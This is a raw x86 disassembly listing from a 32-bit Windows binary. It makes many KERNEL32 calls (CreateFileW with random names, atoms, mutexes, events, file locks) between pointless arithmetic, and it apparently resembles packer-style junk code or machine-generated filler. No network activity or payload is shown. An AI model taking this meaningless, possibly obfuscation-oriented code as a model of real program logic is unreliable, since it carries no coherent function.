mov dword [0x100b7204], edx
lea eax, [ebp - 0x26d]
mov dword [ebp - 0x36f4], eax
movsx ecx, word [ebp - 0x1180]
mov edx, dword [ebp - 0x3450]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0xbe8], cx
mov dword [0x100b9818], 0x100b7142
mov ecx, dword [0x100b9628]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0
push 0x20
push 1
push 0
push 2
push 0x40000000
push str.svF353Gtr07yvBkHvYV
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b981c], eax
mov dx, word [ebp - 0x1184]
mov word [ebp - 0x11a8], dx
lea eax, [ebp - 0x2e18]
mov dword [ebp - 0x36f8], eax
mov ecx, dword [ebp - 0x364c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x34c0]
mov dword [0x100b71dc], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3374], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x36fc], eax
movzx eax, byte [ebp - 0x260]
mov ecx, dword [ebp - 0x3548]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x4e], al
movzx edx, word [0x100b9700]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x11ac], ax
mov eax, dword [ebp - 0x3624]
mov cl, byte [eax]
mov byte [ebp - 0x271], cl
push 0
push 4
push 2
push 0
push 8
push 0x40000000
push str.A0983IOztNQ9UUBdFi29_vCG3B
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b9820], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9824], eax
lea edx, [ebp - 0x9be0]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0xbe8]
mov dword [0x100b9828], eax
movzx eax, word [0x100b979c]
mov ecx, dword [0x100b9544]
movzx ecx, word [ecx]
cdq
idiv ecx
mov edx, dword [ebp - 0x3540]
mov word [edx], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x3700], eax
mov eax, dword [ebp - 0x366c]
mov ecx, dword [0x100b96f4]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x355c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x349c]
movsx edx, byte [ecx]
mov eax, dword [0x100b955c]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [0x100b96d0]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9764], eax
movzx ecx, word [ebp - 0x1164]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b982c], ax
push 0x603
push 0x2b93
push 0x16de
push 0x2c65
mov edx, dword [0x100b9500]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x3668], eax
lea eax, [ebp - 0x260]
mov dword [ebp - 0x3704], eax
mov edx, dword [ebp - 0x3604]
mov ecx, dword [ebp - 0x3080]
shr edx, cl
mov eax, dword [ebp - 0x3680]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3708], eax
push 0
push 0x1a14
push 0x28ce
push 0x157d
push 1
mov ecx, dword [0x100b970c]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x3668], eax
lea edx, [ebp - 0xbdc]
mov dword [0x100b9830], edx
mov dword [ebp - 0x370c], 0x100b94a0
mov eax, dword [ebp - 0x3478]
mov ecx, dword [0x100b9644]
or ecx, dword [eax]
mov edx, dword [ebp - 0x3630]
mov dword [edx], ecx
mov eax, dword [ebp - 0x35f0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x35c4]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [0x100b955c]
mov byte [edx], cl
movzx eax, byte [ebp - 0x8f]
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x91], al
mov eax, dword [ebp - 0x3570]
movzx eax, word [eax]
cdq
mov ecx, 0x921
idiv ecx
mov word [ebp - 0xe28], ax
mov edx, dword [0x100b9830]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x618]
sub eax, ecx
mov word [0x100b9668], ax
push 0
push 0x20
push 0
push 0
push 2
push 0x40000000
push str.kzZOAYu9Y_vN7
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b9834], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9838], eax
push str.TwfWvgNC_KDWLFci7_XOb
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x11b0], ax
mov edx, dword [ebp - 0x3634]
mov ecx, dword [ebp - 0x2db8]
shl edx, cl
mov dword [ebp - 0x36b8], edx
mov dword [ebp - 0x3710], 0x100b95ec
mov eax, dword [ebp - 0x33d4]
mov dword [0x100b983c], eax
mov ecx, dword [ebp - 0x3624]
movsx edx, byte [ecx]
movsx eax, byte [0x100b7133]
add edx, eax
mov byte [ebp - 0x1d5], dl
mov ecx, dword [ebp - 0x3548]
movzx edx, byte [ecx]
mov eax, dword [0x100b9808]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100b9598]
mov byte [ecx], dl
movzx edx, word [ebp - 0x11a0]
movzx eax, word [ebp - 0xe28]
and edx, eax
mov ecx, dword [ebp - 0x3670]
mov word [ecx], dx
lea edx, [ebp - 0x3458]
mov dword [ebp - 0x3714], edx
push 0
push 0x40
push 1
push 0
push 1
push 0xc0000000
push str.9Pite9kJdNV
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3718], eax
movzx eax, word [0x100b9700]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x11a4], ax
mov ecx, dword [ebp - 0x35d8]
mov edx, dword [0x100b952c]
mov eax, dword [ecx]
imul eax, dword [edx]
mov dword [0x100b7208], eax
mov ecx, dword [ebp - 0x35ac]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x361c]
movsx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x34ac]
mov word [eax], dx
lea ecx, [ebp - 0xf1]
mov dword [ebp - 0x371c], ecx
mov dl, byte [0x100b7e1f]
mov byte [0x100b7e2b], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9840], eax
mov al, byte [ebp - 0x270]
mov byte [ebp - 0x272], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3720], eax
push str.QRuFC_BquociYj
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9520], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9844], eax
mov ecx, dword [ebp - 0x366c]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x3170]
mov dword [ebp - 0x2d88], edx
mov eax, dword [0x100b9688]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3644]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [0x100b9544]
mov word [edx], cx
lea eax, [ebp - 0x730]
mov dword [ebp - 0x3724], eax
movzx ecx, word [ebp - 0x1198]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x11b4], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b94f0], eax
push 0x1112
push 0x186d
push 0x51
push 0x3854
mov edx, dword [0x100b9494]
push edx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [ebp - 0x3590], eax
push str.zLY_HjOrpND.p
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9848], ax
mov eax, dword [ebp - 0x3418]
mov ecx, dword [ebp - 0x346c]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x3654], edx
mov eax, dword [ebp - 0x36f4]
movzx ecx, byte [eax]
movzx edx, byte [0x100b7e22]
and ecx, edx
mov byte [0x100b714f], cl
push 0x59
push 0
lea eax, [ebp - 0x360c]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3728], eax
lea ecx, [ebp - 0xef]
mov dword [ebp - 0x372c], ecx
mov edx, dword [ebp - 0x33e8]
mov eax, dword [0x100b9644]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x2dc0], eax
movzx ecx, word [ebp - 0x108c]
movzx edx, word [ebp - 0x594]
xor ecx, edx
mov word [0x100b979c], cx
mov eax, dword [ebp - 0x369c]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3450]
movsx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x34ac]
mov word [edx], cx
mov eax, dword [0x100b9544]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1148]
add ecx, edx
mov word [ebp - 0x6f0], cx
mov eax, dword [ebp - 0x3620]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x260]
or ecx, edx
mov eax, dword [0x100b9664]
mov byte [eax], cl
mov ecx, dword [0x100b9748]
mov edx, dword [ecx]
mov dword [ebp - 0x3730], edx
push 0
push 8
push 3
push 0
push 8
push 0x80000000
push str.SDsJJKaKyMYkeDYJ
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b984c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3734], eax
mov eax, dword [ebp - 0x2e2c]
and eax, dword [0x100b71f8]
mov ecx, dword [ebp - 0x3630]
mov dword [ecx], eax
push str.POxssiC_Xqm
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b97bc], ax
lea edx, [ebp - 0x269]
mov dword [0x100b9850], edx
mov eax, dword [0x100b9650]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3660]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x1138], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x36a0], eax
push 0x100b9854
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3738], eax
lea ecx, [ebp - 0x970]
mov dword [ebp - 0x373c], ecx
push 0xb60
push 0
push 0x100b9838
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x36a0], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9878], eax
lea edx, [ebp - 0x261]
mov dword [0x100b987c], edx
movzx eax, word [ebp - 0x112c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9744], ax
lea ecx, [ebp - 0x263]
mov dword [ebp - 0x3740], ecx
mov edx, dword [ebp - 0x35d8]
mov eax, dword [ebp - 0x33fc]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x2ef4], edx
mov eax, dword [ebp - 0x2d10]
mov ecx, dword [ebp - 0x36b0]
sar eax, cl
mov ecx, dword [0x100b96f4]
mov dword [ecx], eax
push 0x100a49c8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x11b8], ax
movsx edx, byte [0x100b713e]
mov eax, dword [ebp - 0x3624]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x43], dl
mov edx, dword [0x100b9650]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x35ec]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0xe28], ax
lea eax, [ebp - 0x115c]
mov dword [0x100b9880], eax
mov ecx, dword [ebp - 0x3534]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3454]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x91], dl
mov edx, dword [ebp - 0x36b0]
mov dword [ebp - 0x3744], edx
mov eax, dword [0x100b9628]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100b9884], eax
mov ecx, dword [ebp - 0x33dc]
movzx edx, word [ecx]
imul eax, edx, 0xd5
mov ecx, dword [0x100b95f0]
mov word [ecx], ax
mov edx, dword [ebp - 0x3634]
xor edx, dword [ebp - 0x2ef4]
mov dword [ebp - 0x3044], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x34f4], eax
movsx eax, byte [0x100b713e]
mov ecx, dword [ebp - 0x3490]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x267], al
mov eax, dword [ebp - 0x35c8]
mov cx, word [eax]
mov word [0x100b9888], cx
mov edx, dword [ebp - 0x36f4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2f]
shl eax, cl
mov ecx, dword [ebp - 0x3454]
mov byte [ecx], al
push 0x100b988c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x33b4]
mov dword [ebp - 0x3748], edx
push str.7_BZODu_FRpSupWD_qH
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x11bc], ax
mov eax, dword [ebp - 0x3538]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x34d0]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x100b713e], dl
lea ecx, [ebp - 0xad14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x374c], 0x100b94f8
mov edx, dword [ebp - 0x3648]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1168]
add eax, ecx
mov edx, dword [ebp - 0x3678]
mov word [edx], ax
lea eax, [ebp - 0x3080]
mov dword [0x100b98b0], eax
lea ecx, [ebp - 0x1140]
mov dword [ebp - 0x3750], ecx
push 0x27a0
push 0x1211
push 0x349c
push 0x3e35
mov edx, dword [0x100b964c]
push edx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [0x100b974c], eax
mov eax, dword [ebp - 0x3740]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3548]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x265], cl
mov ecx, dword [0x100b972c]
mov edx, dword [ebp - 0x2e18]
xor edx, dword [ecx]
mov eax, dword [0x100b9620]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3754], eax
movsx ecx, byte [ebp - 0xcf]
movsx edx, byte [str.i3]
add ecx, edx
mov byte [ebp - 0x262], cl
mov eax, dword [ebp - 0x35fc]
mov cx, word [eax]
mov word [ebp - 0x11c0], cx
movzx edx, word [ebp - 0x618]
mov eax, dword [ebp - 0x33b8]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [0x100b9688]
mov word [eax], dx
movsx ecx, byte [0x100b7e0e]
movsx edx, byte [ebp - 0x267]
or ecx, edx
mov byte [ebp - 0x26a], cl
mov eax, dword [ebp - 0x2be8]
mov ecx, dword [ebp - 0x34c0]
shl eax, cl
mov dword [0x100b720c], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b98b4], eax
movsx edx, word [ebp - 0x5c4]
mov eax, dword [ebp - 0x3488]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x768], dx
mov ecx, dword [0x100b9664]
mov dl, byte [ecx]
mov byte [ebp - 0x273], dl
mov eax, dword [0x100b94a4]
mov ecx, dword [ebp - 0x33e8]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [0x100b7210], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3754], eax
movzx eax, word [ebp - 0x1150]
mov ecx, dword [ebp - 0x3650]
movzx edx, word [ecx]
imul eax, edx
mov word [ebp - 0x1184], ax
lea eax, [ebp - 0x3748]
mov dword [ebp - 0x3758], eax
mov ecx, dword [ebp - 0x369c]
movsx edx, word [ecx]
movsx eax, word [0x100b94a0]
xor edx, eax
mov ecx, dword [0x100b9508]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x375c], eax
mov edx, dword [ebp - 0x35d8]
mov eax, dword [edx]
add eax, dword [ebp - 0x2db8]
mov ecx, dword [ebp - 0x3418]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x260]
movzx eax, byte [ebp - 0x26c]
and edx, eax
mov byte [ebp - 0x238], dl
mov dword [0x100b98b8], 0x100b7e1e
mov ecx, dword [ebp - 0x349c]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x1f4]
sar edx, cl
mov byte [ebp - 0x266], dl
push str.iPnjkx6.o9
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b98bc], ax
lea eax, [ebp - 0x3458]
mov dword [ebp - 0x3760], eax
push 0x100a4a10
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x11c4], ax
mov ecx, dword [0x100b9808]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x26f]
shl edx, cl
mov eax, dword [0x100b9740]
mov byte [eax], dl
movsx ecx, word [ebp - 0x115c]
movsx edx, word [ebp - 0xb8c]
or ecx, edx
mov word [ebp - 0x1144], cx
mov eax, dword [0x100b95f0]
movzx ecx, word [eax]
movzx edx, word [0x100b71ec]
imul ecx, edx
mov word [ebp - 0xb0c], cx
mov eax, dword [0x100b9498]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0x100b98c0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x6f7
mov ecx, dword [ebp - 0x3674]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3764], eax
mov edx, dword [ebp - 0x364c]
mov eax, dword [edx]
mov dword [0x100b98d8], eax
movsx ecx, byte [0x100b7d97]
movsx edx, byte [ebp - 0x26e]
xor ecx, edx
mov byte [ebp - 0x271], cl
mov eax, dword [ebp - 0x36ec]
mov ecx, dword [eax]
mov dword [ebp - 0x3768], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9680], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b98dc], eax
push 0xdbd
mov edx, dword [ebp - 0x3560]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x375c], eax
movzx eax, byte [0x100b714f]
movzx ecx, byte [ebp - 0x238]
add eax, ecx
mov byte [0x100b712f], al
mov edx, dword [ebp - 0x33b8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1148]
and eax, ecx
mov word [ebp - 0x1178], ax
movsx edx, word [ebp - 0x1144]
movsx ecx, word [ebp - 0x1160]
sar edx, cl
mov word [ebp - 0x1194], dx
mov eax, dword [ebp - 0x35f4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x3624]
movsx eax, byte [edx]
xor ecx, eax
mov byte [str._AaV], cl
mov ecx, dword [0x100b9650]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xe28]
sub edx, eax
mov word [ebp - 0xc94], dx
push 0x100b9768
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x376c], eax
mov dword [ebp - 0x3770], 0x100b71dc
lea ecx, [ebp - 0x2d10]
mov dword [0x100b98e0], ecx
movzx edx, byte [0x100b7e0f]
movzx ecx, byte [ebp - 0x8f]
shl edx, cl
mov byte [ebp - 0x263], dl
mov dword [ebp - 0x3774], 0x100b94a0
mov eax, dword [ebp - 0x36d0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x262]
or ecx, edx
mov eax, dword [0x100b9654]
mov byte [eax], cl
movzx ecx, word [0x100b9638]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b98e4], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3778], eax
mov edx, dword [ebp - 0x3670]
movzx eax, word [edx]
movzx ecx, word [0x100b9668]
add eax, ecx
mov edx, dword [ebp - 0x33ec]
mov word [edx], ax
mov eax, dword [0x100b972c]
mov ecx, dword [ebp - 0x2b2c]
and ecx, dword [eax]
mov dword [ebp - 0x2e18], ecx
lea edx, [ebp - 0x2be8]
mov dword [0x100b98e8], edx
mov al, byte [0x100b7dff]
mov byte [ebp - 0x274], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b98ec], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3738], eax
movsx ecx, byte [ebp - 0x272]
mov edx, dword [ebp - 0x36d0]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x1d5], cl
push str.8tc_bq
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x11c8], ax
movsx edx, word [ebp - 0xbe8]
movsx ecx, word [0x100b94f4]
sar edx, cl
mov word [0x100b7214], dx
push 0x100b95fc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b98f0], eax
mov eax, dword [ebp - 0x3560]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9680], eax
lea ecx, [ebp - 0x9bc8]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [0x100b9688]
mov ax, word [edx]
mov word [ebp - 0x11cc], ax
mov ecx, dword [ebp - 0x3714]
mov edx, dword [ebp - 0x3748]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x36ec]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x264]
movsx edx, byte [ebp - 0xbb]
add ecx, edx
mov eax, dword [0x100b955c]
mov byte [eax], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b98f4], eax
lea ecx, [ebp - 0x9c10]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx edx, byte [ebp - 0x1b2]
movzx eax, byte [0x100b712e]
and edx, eax
mov byte [ebp - 0x1fd], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b953c], eax
lea ecx, [ebp - 0x2db8]
mov dword [ebp - 0x377c], ecx
mov edx, dword [ebp - 0x3660]
mov ax, word [edx]
mov word [0x100b98f8], ax
movzx ecx, word [ebp - 0x11c8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x11d0], ax
movsx edx, word [ebp - 0x730]
mov eax, dword [ebp - 0x3698]
movsx ecx, word [eax]
or edx, ecx
mov word [ebp - 0xbe8], dx
push str.iH5QHK_RMR5LP
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b98fc], ax
mov edx, dword [ebp - 0x366c]
mov eax, dword [edx]
mov dword [ebp - 0x3780], eax
mov ecx, dword [ebp - 0x349c]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x262]
sar edx, cl
mov byte [0x100b7133], dl
mov eax, dword [ebp - 0x3454]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3608]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x4e], cl
mov ecx, dword [ebp - 0x3644]
movzx edx, word [ecx]
movzx eax, word [0x100b9668]
add edx, eax
mov ecx, dword [ebp - 0x367c]
mov word [ecx], dx
movzx edx, word [ebp - 0x108c]
movzx eax, word [0x100b71cc]
and edx, eax
mov word [0x100b7218], dx
movzx ecx, word [ebp - 0x1198]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b97bc], ax
mov edx, dword [ebp - 0x3770]
mov eax, dword [ebp - 0x35d8]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x2ba4], ecx
push 0
push 0x10
push 4
push 0
push 1
push 0x40000000
push str.tO0V_vG1cAYfXFTkQE7KXBB0Jp2eS
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3784], eax
movsx edx, word [ebp - 0x1140]
mov eax, dword [ebp - 0x369c]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x1130], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9900], eax
mov ecx, dword [ebp - 0x36b0]
xor ecx, dword [ebp - 0x2e2c]
mov dword [0x100b9644], ecx
mov edx, dword [ebp - 0x35f4]
mov al, byte [edx]
mov byte [ebp - 0x275], al
push 0x11b1
push 0
lea ecx, [ebp - 0x3688]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100b9718], eax
mov dword [0x100b9904], 0x100b7df7
push 0x100b9564
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx edx, word [ebp - 0x84c]
movzx eax, word [ebp - 0x1158]
or edx, eax
mov word [ebp - 0x108c], dx
mov ecx, dword [0x100b96f4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3780]
sar edx, cl
mov dword [ebp - 0x2f40], edx
push 0
push 4
push 4
push 0
push 2
push 0x40000000
push str.bYf_rzWCSREetW
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3788], eax
mov eax, dword [ebp - 0x35d8]
mov ecx, dword [ebp - 0x2ec4]
add ecx, dword [eax]
mov edx, dword [0x100b96d4]
mov dword [edx], ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100b9908], eax
lea eax, [ebp - 0xae34]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [0x100b98bc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x113c], ax
push 0
push 0x80
push 1
push 0
push 4
push 0xc0000000
push str.BJzqFNDq505uPNlM7Wzfylw
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x378c], eax
movsx edx, word [ebp - 0x1180]
mov eax, dword [ebp - 0x3724]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x578], dx
mov edx, dword [ebp - 0x36d0]
movsx eax, byte [edx]
movsx ecx, byte [0x100b7e03]
shl eax, cl
mov ecx, dword [ebp - 0x34d0]
mov byte [ecx], al
push 0x100b990c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edx, dword [0x100b9740]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3524]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100b9598]
mov byte [ecx], al
movsx edx, byte [ebp - 0xcf]
movsx ecx, byte [ebp - 0x262]
sar edx, cl
mov eax, dword [ebp - 0x3690]
mov byte [eax], dl
push str.tTwEF_J5z5b5s_5o
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x11d0], ax
mov ecx, dword [0x100b98e0]
mov edx, dword [ecx]
mov dword [ebp - 0x3790], edx
mov eax, dword [ebp - 0x33dc]
mov cx, word [eax]
mov word [0x100b9924], cx
mov edx, dword [ebp - 0x3710]
movsx eax, word [edx]
mov ecx, dword [0x100b951c]
movsx edx, word [ecx]
or eax, edx
mov word [ebp - 0xe98], ax
mov eax, dword [ebp - 0x346c]
mov ecx, dword [0x100b98d8]
and ecx, dword [eax]
mov dword [ebp - 0x2ba4], ecx
mov edx, dword [ebp - 0x3524]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x91]
xor eax, ecx
mov byte [0x100b7df7], al
mov edx, dword [ebp - 0x372c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1f4]
xor eax, ecx
mov edx, dword [ebp - 0x349c]
mov byte [edx], al
lea eax, [ebp - 0x2e2c]
mov dword [ebp - 0x3794], eax
mov ecx, dword [0x100b94dc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x3798], eax
mov edx, dword [ebp - 0x3610]
movzx eax, word [edx]
mov ecx, dword [0x100b95f0]
movzx edx, word [ecx]
sub eax, edx
mov word [0x100b721c], ax
mov eax, dword [ebp - 0x3684]
mov cx, word [eax]
mov word [ebp - 0x11d4], cx
movzx edx, word [ebp - 0x1168]
movzx ecx, word [ebp - 0x1148]
shl edx, cl
mov word [ebp - 0xb0c], dx
mov al, byte [ebp - 0x4e]
mov byte [0x100b7e3a], al
lea ecx, [ebp - 0x34c0]
mov dword [ebp - 0x379c], ecx
mov edx, dword [ebp - 0x3758]
mov eax, dword [0x100b96f4]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x355c]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x267]
mov ecx, dword [0x100b96ec]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [0x100b7e23], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9928], eax
mov edx, dword [ebp - 0x36c8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x33dc]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x35d0]
mov word [ecx], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100b992c], eax
mov dword [ebp - 0x37a0], 0x100b94f4
mov edx, dword [ebp - 0x3490]
mov al, byte [edx]
mov byte [0x100b7e3b], al
push 0x16
mov ecx, dword [ebp - 0x36b4]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100b96e8], eax
movzx edx, byte [ebp - 0x2f]
